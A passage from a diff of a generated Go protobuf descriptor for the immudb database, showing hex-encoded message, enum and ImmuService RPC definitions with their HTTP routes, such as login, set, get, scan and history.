0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x3d, 0x0a, 0x09, 0x4b, 0x65, 0x65, 0x70, 0x41, 0x6c, 0x69, - 0x76, 0x65, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x05, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x12, 0x1b, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, - 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x65, 0x77, 0x54, 0x78, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x00, 0x12, 0x41, 0x0a, 0x06, 0x43, 0x6f, - 0x6d, 0x6d, 0x69, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, - 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x22, 0x00, 0x12, 0x3c, 0x0a, - 0x08, 0x52, 0x6f, 0x6c, 0x6c, 0x62, 0x61, 0x63, 0x6b, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x44, 0x0a, 0x09, 0x54, - 0x78, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, + 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0xed, 0x01, 0x0a, 0x0c, 0x4e, 0x65, 0x77, + 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, + 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, + 0x6d, 0x6f, 0x64, 0x65, 0x12, 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, + 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, + 0x6e, 0x74, 0x36, 0x34, 0x52, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, + 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, + 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, + 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, + 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, + 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, + 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, + 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, + 0x35, 0x0a, 0x09, 0x45, 0x72, 0x72, 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, + 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, + 0x12, 0x14, 0x0a, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, + 0x6e, 0x66, 0x6f, 0x12, 0x14, 0x0a, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, + 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, + 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, + 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, 0x79, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, 0x58, + 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, 0x5f, + 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, 0x5f, + 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, 0x4c, + 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, 0x4e, + 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, 0x2a, + 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, 0x61, + 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, 0x65, + 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, 0x72, + 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xea, 0x32, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, 0x65, + 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, 0x65, + 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, 0x4c, + 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, 0x73, + 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, - 0x00, 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, - 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, - 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, - 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, - 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, + 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x22, 0x05, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x3a, 0x01, + 0x2a, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, + 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, + 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, - 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, - 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, - 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x54, 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, - 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, - 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0f, 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, - 0x12, 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, - 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, - 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, - 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, - 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, - 0x2a, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, - 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, - 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, - 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, - 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, - 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, - 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, - 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, - 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, - 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, - 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, - 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, - 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, - 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, - 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, - 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, - 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, - 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, - 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, - 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, - 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, - 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, - 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x64, - 0x62, 0x2f, 0x74, 0x78, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, - 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x3a, 0x01, - 0x2a, 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, - 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x53, 0x65, 0x72, 